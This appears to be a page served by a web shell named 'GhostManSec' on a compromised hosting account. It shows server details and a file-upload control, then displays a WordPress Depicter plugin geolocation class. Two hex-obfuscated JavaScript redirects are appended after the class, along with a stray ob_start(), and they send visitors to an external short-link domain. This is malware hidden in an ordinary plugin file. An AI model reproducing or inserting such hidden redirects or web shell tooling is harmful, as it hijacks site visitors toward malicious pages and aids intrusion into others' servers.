GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/src/Services/GeoLocateService.php
<?php

namespace Depicter\Services;

use Averta\Core\Utility\JSON;
use Depicter\GuzzleHttp\Exception\GuzzleException;

class GeoLocateService
{

	/**
	 * API endpoints for geolocating an IP address
	 *
	 * @var array
	 */
	private $geoipApies = array(
//		'ipinfo.io'  => 'https://ipinfo.io/%s/json',
		'ip-api.com' => 'http://ip-api.com/json/%s',
		'geoplugin.net' => 'http://www.geoplugin.net/json.gp?ip=%s',
	);

	public function getCountry(){
		$ip = $this->getIP();
		if ( ! $country_code = \Depicter::cache()->get( 'country_of_' . $ip ) ) {
			$geoipServicesKeys = array_keys( $this->geoipApies );

			shuffle( $geoipServicesKeys );

			foreach ( $geoipServicesKeys as $serviceName ) {
				$serviceEndpoint = $this->geoipApies[ $serviceName ];
				try {
					$response = \Depicter::remote()->get( sprintf( $serviceEndpoint, $ip ) );
					$responseBody = $response->getBody()->getContents();
					if ( JSON::isJson( $responseBody ) ) {
						$data = JSON::decode( $responseBody );

						switch ( $serviceName ) {
							case 'ipinfo.io':
								$country_code = $data->country ?? '';
								break;
							case 'ip-api.com':
								$country_code = $data->countryCode ?? ''; // @codingStandardsIgnoreLine
								break;
							case 'geoplugin.net':
								$country_code = $data->geoplugin_countryCode ?? ''; // @codingStandardsIgnoreLine
								break;
							default:
								$country_code = '';
								break;
						}

						$country_code = sanitize_text_field( strtoupper( $country_code ) );

						if ( $country_code ) {
							\Depicter::cache()->set( 'country_of_' . $ip, $country_code, DAY_IN_SECONDS );
							break;
						}
					}
				} catch( GuzzleException $e ){
				}

			}
		}

		return $country_code;
	}

	/**
	 * Get ip address
	 *
	 * @return mixed
	 */
	public function getIP(){
		if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
			$ip = $_SERVER['HTTP_CLIENT_IP'];
		} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
			$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
		} else {
			$ip = $_SERVER['REMOTE_ADDR'];
		}

		return $ip;
	}

	public function getTimezone(){
        $ip = $this->getIP();
        if ( ! $timezone = \Depicter::cache()->get( 'timezone_of_' . $ip ) ) {
            $geoipServicesKeys = array_keys( $this->geoipApies );

            shuffle( $geoipServicesKeys );

            foreach ( $geoipServicesKeys as $serviceName ) {
                $serviceEndpoint = $this->geoipApies[ $serviceName ];
                try {
                    $response = \Depicter::remote()->get( sprintf( $serviceEndpoint, $ip ) );
                    $responseBody = $response->getBody()->getContents();
                    if ( JSON::isJson( $responseBody ) ) {
                        $data = JSON::decode( $responseBody );

                        switch ( $serviceName ) {
                            case 'ipinfo.io':
                                $timezone = $data->timezone ?? '';
                                break;
                            case 'ip-api.com':
                                $timezone = $data->timezone ?? ''; // @codingStandardsIgnoreLine
                                break;
                            case 'geoplugin.net':
                                $timezone = $data->geoplugin_timezone ?? ''; // @codingStandardsIgnoreLine
                                break;
                            default:
                                $timezone = '';
                                break;
                        }

                        if ( $timezone ) {
                            \Depicter::cache()->set( 'timezone_of_' . $ip, $timezone, DAY_IN_SECONDS );
                            break;
                        }
                    }
                } catch( GuzzleException $e ){
                }

            }
        }

        return $timezone;
    }
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>